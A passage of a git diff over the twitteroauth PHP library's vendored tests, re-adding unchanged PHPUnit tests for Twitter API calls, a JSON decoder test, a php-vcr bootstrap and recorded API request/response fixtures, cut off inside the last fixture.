$file_path = __DIR__ . '/12345678900987654321.jpg'; - $this->assertFalse(\is_readable($file_path)); - $result = $this->twitter->upload('media/upload', [ - 'media' => $file_path, - ]); - } - - /** - * @vcr testPostStatusesUpdateWithMediaChunked.json - */ - public function testPostStatusesUpdateWithMediaChunked() - { - $this->twitter->setTimeouts(60, 30); - // Video source http://www.sample-videos.com/ - $file_path = __DIR__ . '/video.mp4'; - $result = $this->twitter->upload( - 'media/upload', - ['media' => $file_path, 'media_type' => 'video/mp4'], - true - ); - $this->assertEquals(201, $this->twitter->getLastHttpCode()); - $this->assertObjectHasAttribute('media_id_string', $result); - $parameters = [ - 'status' => 'Hello World ' . MOCK_TIME, - 'media_ids' => $result->media_id_string, - ]; - $result = $this->twitter->post('statuses/update', $parameters); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - $result = $this->twitter->post('statuses/destroy/' . $result->id_str); - return $result; - } - - /** - * @vcr testPostStatusesUpdateUtf8.json - */ - public function testPostStatusesUpdateUtf8() - { - $result = $this->twitter->post('statuses/update', [ - 'status' => 'xこんにちは世界 ' . MOCK_TIME, - ]); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - return $result; - } - - /** - * @depends testPostStatusesUpdateUtf8 - * @vcr testPostStatusesDestroy.json - */ - public function testPostStatusesDestroy($status) - { - $this->twitter->post('statuses/destroy/' . $status->id_str); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - } - - /** - * @vcr testLastResult.json - */ - public function testLastResult() - { - $this->twitter->get('search/tweets', ['q' => 'twitter']); - $this->assertEquals('search/tweets', $this->twitter->getLastApiPath()); - $this->assertEquals(200, $this->twitter->getLastHttpCode()); - $this->assertObjectHasAttribute( - 'statuses', - $this->twitter->getLastBody() - ); - } - - /** - * @depends testLastResult - * @vcr testResetLastResponse.json - */ - public function testResetLastResponse() - { - $this->twitter->resetLastResponse(); - $this->assertEquals('', $this->twitter->getLastApiPath()); - $this->assertEquals(0, $this->twitter->getLastHttpCode()); - $this->assertEquals([], $this->twitter->getLastBody()); - } -} +twitter = new TwitterOAuth( + CONSUMER_KEY, + CONSUMER_SECRET, + ACCESS_TOKEN, + ACCESS_TOKEN_SECRET + ); + $this->userId = explode('-', ACCESS_TOKEN)[0]; + } + + public function testBuildClient() + { + $this->assertObjectHasAttribute('consumer', $this->twitter); + $this->assertObjectHasAttribute('token', $this->twitter); + } + + /** + * @vcr testSetOauthToken.json + */ + public function testSetOauthToken() + { + $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); + $twitter->setOauthToken(ACCESS_TOKEN, ACCESS_TOKEN_SECRET); + $this->assertObjectHasAttribute('consumer', $twitter); + $this->assertObjectHasAttribute('token', $twitter); + $twitter->get('friendships/show', [ + 'target_screen_name' => 'twitterapi', + ]); + $this->assertEquals(200, $twitter->getLastHttpCode()); + } + + /** + * @vcr testOauth2Token.json + */ + public function testOauth2Token() + { + $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); + $result = $twitter->oauth2('oauth2/token', [ + 'grant_type' => 'client_credentials', + ]); + $this->assertEquals(200, $twitter->getLastHttpCode()); + $this->assertObjectHasAttribute('token_type', $result); + $this->assertObjectHasAttribute('access_token', $result); + $this->assertEquals('bearer', $result->token_type); + return $result; + } + + /** + * @depends testOauth2Token + * @vcr testOauth2BearerToken.json + */ + public function testOauth2BearerToken($accessToken) + { + $twitter = new TwitterOAuth( + CONSUMER_KEY, + CONSUMER_SECRET, + null, + $accessToken->access_token + ); + $result = $twitter->get('statuses/user_timeline', [ + 'screen_name' => 'twitterapi', + ]); + $this->assertEquals(200, $twitter->getLastHttpCode()); + return $accessToken; + } + + /** + * @depends testOauth2BearerToken + * @vcr testOauth2TokenInvalidate.json + */ + public function testOauth2TokenInvalidate($accessToken) + { + $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); + // HACK: access_token is already urlencoded but gets urlencoded again breaking the invalidate request. + $result = $twitter->oauth2('oauth2/invalidate_token', [ + 'access_token' => urldecode($accessToken->access_token), + ]); + $this->assertEquals(200, $twitter->getLastHttpCode()); + $this->assertObjectHasAttribute('access_token', $result); + } + + /** + * @vcr testOauthRequestToken.json + */ + public function testOauthRequestToken() + { + $twitter = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET); + $result = $twitter->oauth('oauth/request_token', [ + 'oauth_callback' => OAUTH_CALLBACK, + ]); + $this->assertEquals(200, $twitter->getLastHttpCode()); + $this->assertArrayHasKey('oauth_token', $result); + $this->assertArrayHasKey('oauth_token_secret', $result); + $this->assertArrayHasKey('oauth_callback_confirmed', $result); + $this->assertEquals('true', $result['oauth_callback_confirmed']); + return $result; + } + + /** + * @vcr testOauthRequestTokenException.json + */ + public function testOauthRequestTokenException() + { + $this->expectException( + \Abraham\TwitterOAuth\TwitterOAuthException::class + ); + $this->expectErrorMessage('Could not authenticate you'); + $twitter = new TwitterOAuth('CONSUMER_KEY', 'CONSUMER_SECRET'); + $result = $twitter->oauth('oauth/request_token', [ + 'oauth_callback' => OAUTH_CALLBACK, + ]); + } + + /** + * @depends testOauthRequestToken + * @vcr testOauthAccessTokenTokenException.json + */ + public function testOauthAccessTokenTokenException(array $requestToken) + { + // Can't test this without a browser logging into Twitter so check for the correct error instead. + $this->expectException( + \Abraham\TwitterOAuth\TwitterOAuthException::class + ); + $this->expectErrorMessage('Invalid oauth_verifier parameter'); + $twitter = new TwitterOAuth( + CONSUMER_KEY, + CONSUMER_SECRET, + $requestToken['oauth_token'], + $requestToken['oauth_token_secret'] + ); + $twitter->oauth('oauth/access_token', [ + 'oauth_verifier' => 'fake_oauth_verifier', + ]); + } + + public function testUrl() + { + $url = $this->twitter->url('oauth/authorize', [ + 'foo' => 'bar', + 'baz' => 'qux', + ]); + $this->assertEquals( + 'https://api.twitter.com/oauth/authorize?foo=bar&baz=qux', + $url + ); + } + + /** + * @vcr testGetAccountVerifyCredentials.json + */ + public function testGetAccountVerifyCredentials() + { + $user = $this->twitter->get('account/verify_credentials', [ + 'include_entities' => false, + 'include_email' => true, + ]); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + $this->assertObjectHasAttribute('email', $user); + } + + /** + * @vcr testSetProxy.json + */ + public function testSetProxy() + { + $this->twitter->setProxy([ + 'CURLOPT_PROXY' => PROXY, + 'CURLOPT_PROXYUSERPWD' => PROXYUSERPWD, + 'CURLOPT_PROXYPORT' => PROXYPORT, + ]); + $this->twitter->setTimeouts(60, 60); + $result = $this->twitter->get('account/verify_credentials'); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + $this->assertObjectHasAttribute('id', $result); + } + + /** + * @vcr testGetStatusesMentionsTimeline.json + */ + public function testGetStatusesMentionsTimeline() + { + $this->twitter->get('statuses/mentions_timeline'); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + } + + /** + * @vcr testGetSearchTweets.json + */ + public function testGetSearchTweets() + { + $result = $this->twitter->get('search/tweets', ['q' => 'twitter']); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + return $result->statuses; + } + + /** + * @depends testGetSearchTweets + * @vcr testGetSearchTweetsWithMaxId.json + */ + public function testGetSearchTweetsWithMaxId($statuses) + { + $maxId = array_pop($statuses)->id_str; + $this->twitter->get('search/tweets', [ + 'q' => 'twitter', + 'max_id' => $maxId, + ]); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + } + + /** + * @vcr testPostFavoritesCreate.json + */ + public function testPostFavoritesCreate() + { + $result = $this->twitter->post('favorites/create', [ + 'id' => '6242973112', + ]); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + } + + /** + * @depends testPostFavoritesCreate + * @vcr testPostFavoritesDestroy.json + */ + public function testPostFavoritesDestroy() + { + $this->twitter->post('favorites/destroy', ['id' => '6242973112']); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + } + + /** + * @vcr testPostDirectMessagesEventsNew.json + */ + public function testPostDirectMessagesEventsNew() + { + $data = [ + 'event' => [ + 'type' => 'message_create', + 'message_create' => [ + 'target' => [ + 'recipient_id' => $this->userId, + ], + 'message_data' => [ + 'text' => 'Hello World!', + ], + ], + ], + ]; + $result = $this->twitter->post( + 'direct_messages/events/new', + $data, + true + ); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + return $result; + } + + /** + * @depends testPostDirectMessagesEventsNew + * @vcr testDeleteDirectMessagesEventsDestroy.json + */ + public function testDeleteDirectMessagesEventsDestroy($message) + { + $this->twitter->delete('direct_messages/events/destroy', [ + 'id' => $message->event->id, + ]); + $this->assertEquals(204, $this->twitter->getLastHttpCode()); + } + + /** + * @vcr testPostStatusesUpdateWithMedia.json + */ + public function testPostStatusesUpdateWithMedia() + { + $this->twitter->setTimeouts(60, 60); + // Image source https://www.flickr.com/photos/titrans/8548825587/ + $file_path = __DIR__ . '/kitten.jpg'; + $result = $this->twitter->upload('media/upload', [ + 'media' => $file_path, + ]); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + $this->assertObjectHasAttribute('media_id_string', $result); + $parameters = [ + 'status' => 'Hello World ' . MOCK_TIME, + 'media_ids' => $result->media_id_string, + ]; + $result = $this->twitter->post('statuses/update', $parameters); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + $result = $this->twitter->post('statuses/destroy/' . $result->id_str); + return $result; + } + + /** + * @vcr testPostStatusUpdateWithInvalidMediaThrowsException.json + */ + public function testPostStatusUpdateWithInvalidMediaThrowsException() + { + $this->expectException(\InvalidArgumentException::class); + $file_path = __DIR__ . '/12345678900987654321.jpg'; + $this->assertFalse(\is_readable($file_path)); + $result = $this->twitter->upload('media/upload', [ + 'media' => $file_path, + ]); + } + + /** + * @vcr testPostStatusesUpdateWithMediaChunked.json + */ + public function testPostStatusesUpdateWithMediaChunked() + { + $this->twitter->setTimeouts(60, 30); + // Video source http://www.sample-videos.com/ + $file_path = __DIR__ . '/video.mp4'; + $result = $this->twitter->upload( + 'media/upload', + ['media' => $file_path, 'media_type' => 'video/mp4'], + true + ); + $this->assertEquals(201, $this->twitter->getLastHttpCode()); + $this->assertObjectHasAttribute('media_id_string', $result); + $parameters = [ + 'status' => 'Hello World ' . MOCK_TIME, + 'media_ids' => $result->media_id_string, + ]; + $result = $this->twitter->post('statuses/update', $parameters); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + $result = $this->twitter->post('statuses/destroy/' . $result->id_str); + return $result; + } + + /** + * @vcr testPostStatusesUpdateUtf8.json + */ + public function testPostStatusesUpdateUtf8() + { + $result = $this->twitter->post('statuses/update', [ + 'status' => 'xこんにちは世界 ' . MOCK_TIME, + ]); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + return $result; + } + + /** + * @depends testPostStatusesUpdateUtf8 + * @vcr testPostStatusesDestroy.json + */ + public function testPostStatusesDestroy($status) + { + $this->twitter->post('statuses/destroy/' . $status->id_str); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + } + + /** + * @vcr testLastResult.json + */ + public function testLastResult() + { + $this->twitter->get('search/tweets', ['q' => 'twitter']); + $this->assertEquals('search/tweets', $this->twitter->getLastApiPath()); + $this->assertEquals(200, $this->twitter->getLastHttpCode()); + $this->assertObjectHasAttribute( + 'statuses', + $this->twitter->getLastBody() + ); + } + + /** + * @depends testLastResult + * @vcr testResetLastResponse.json + */ + public function testResetLastResponse() + { + $this->twitter->resetLastResponse(); + $this->assertEquals('', $this->twitter->getLastApiPath()); + $this->assertEquals(0, $this->twitter->getLastHttpCode()); + $this->assertEquals([], $this->twitter->getLastBody()); + } +} diff --git a/vendor/abraham/twitteroauth/tests/Util/JsonDecoderTest.php b/vendor/abraham/twitteroauth/tests/Util/JsonDecoderTest.php index 6ce7757add..dc6fa97078 100644 --- a/vendor/abraham/twitteroauth/tests/Util/JsonDecoderTest.php +++ b/vendor/abraham/twitteroauth/tests/Util/JsonDecoderTest.php @@ -1,54 +1,54 @@ -assertEquals($expected, JsonDecoder::decode($input, $asArray)); - } - - public function jsonProvider() - { - return [ - ['[]', true, []], - ['[1,2,3]', true, [1, 2, 3]], - [ - '[{"id": 556179961825226750}]', - true, - [['id' => 556179961825226750]], - ], - ['[]', false, []], - ['[1,2,3]', false, [1, 2, 3]], - [ - '[{"id": 556179961825226750}]', - false, - [ - $this->getClass(function ($object) { - $object->id = 556179961825226750; - return $object; - }), - ], - ], - ]; - } - - /** - * @param callable $callable - * - * @return stdClass - */ - private function getClass(\Closure $callable) - { - $object = new \stdClass(); - - return $callable($object); - } -} +assertEquals($expected, JsonDecoder::decode($input, $asArray)); + } + + public function jsonProvider() + { + return [ + ['[]', true, []], + ['[1,2,3]', true, [1, 2, 3]], + [ + '[{"id": 556179961825226750}]', + true, + [['id' => 556179961825226750]], + ], + ['[]', false, []], + ['[1,2,3]', false, [1, 2, 3]], + [ + '[{"id": 556179961825226750}]', + false, + [ + $this->getClass(function ($object) { + $object->id = 556179961825226750; + return $object; + }), + ], + ], + ]; + } + + /** + * @param callable $callable + * + * @return stdClass + */ + private function getClass(\Closure $callable) + { + $object = new \stdClass(); + + return $callable($object); + } +} diff --git a/vendor/abraham/twitteroauth/tests/bootstrap.php b/vendor/abraham/twitteroauth/tests/bootstrap.php index 5520019a1d..23653e0491 100644 --- a/vendor/abraham/twitteroauth/tests/bootstrap.php +++ b/vendor/abraham/twitteroauth/tests/bootstrap.php @@ -1,10 +1,10 @@ -setStorage('json'); -\VCR\VCR::turnOn(); +setStorage('json'); +\VCR\VCR::turnOn(); diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testDeleteDirectMessagesEventsDestroy.json b/vendor/abraham/twitteroauth/tests/fixtures/testDeleteDirectMessagesEventsDestroy.json index 824fadb55b..b592bc87f3 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testDeleteDirectMessagesEventsDestroy.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testDeleteDirectMessagesEventsDestroy.json @@ -1,40 +1,40 @@ -[{ - "request": { - "method": "DELETE", - "url": "https:\/\/api.twitter.com\/1.1\/direct_messages\/events\/destroy.json?id=1254206523385032714", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"dY4KEaTg5Y6Bv4JlofNCjoArx%2F4%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=NVQWGYLXFVSG2%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:52 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:52 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_asAbLVWtv6V2+ARemo0VNA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:52 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111220677678; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:52 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "5cbff6bc4105c0040c4738daac7adcf4", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "37", - "x-transaction": "00f02f6c00e12e76", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - } - } +[{ + "request": { + "method": "DELETE", + "url": "https:\/\/api.twitter.com\/1.1\/direct_messages\/events\/destroy.json?id=1254206523385032714", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"dY4KEaTg5Y6Bv4JlofNCjoArx%2F4%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=NVQWGYLXFVSG2%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:52 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:52 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_asAbLVWtv6V2+ARemo0VNA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:52 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111220677678; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:52 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "5cbff6bc4105c0040c4738daac7adcf4", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "37", + "x-transaction": "00f02f6c00e12e76", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + } + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testGetAccountVerifyCredentials.json b/vendor/abraham/twitteroauth/tests/fixtures/testGetAccountVerifyCredentials.json index 407384fbd3..f18db6b3a0 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testGetAccountVerifyCredentials.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testGetAccountVerifyCredentials.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/account\/verify_credentials.json?include_email=true&include_entities=false", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"k8h8edFh9R2W3DCNJy5Nb07tWo0%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "773", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:11 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:11 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_PPOKPD3f\/ek9QM3+ySQxjw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786107181888587; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "7509696bc24b6d9d09d283b844a3c232", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "75", - "x-rate-limit-remaining": "73", - "x-rate-limit-reset": "1587861613", - "x-response-time": "46", - "x-transaction": "00cd4f6300163d67", - "x-twitter-response-tags": "BouncerExempt, BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"status\":{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":75,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\",\"suspended\":false,\"needs_phone_verification\":false,\"email\":\"4braham+oauthlibtest@gmail.com\"}" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/account\/verify_credentials.json?include_email=true&include_entities=false", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"k8h8edFh9R2W3DCNJy5Nb07tWo0%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "773", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:11 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:11 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_PPOKPD3f\/ek9QM3+ySQxjw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786107181888587; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "7509696bc24b6d9d09d283b844a3c232", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "75", + "x-rate-limit-remaining": "73", + "x-rate-limit-reset": "1587861613", + "x-response-time": "46", + "x-transaction": "00cd4f6300163d67", + "x-twitter-response-tags": "BouncerExempt, BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"status\":{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":75,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\",\"suspended\":false,\"needs_phone_verification\":false,\"email\":\"4braham+oauthlibtest@gmail.com\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testGetSearchTweets.json b/vendor/abraham/twitteroauth/tests/fixtures/testGetSearchTweets.json index 54be2c5a63..ba77e8826c 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testGetSearchTweets.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testGetSearchTweets.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/search\/tweets.json?q=twitter", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"qWYQHV5qw8biySQjoR59V9%2BDvOQ%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "14711", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:50 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 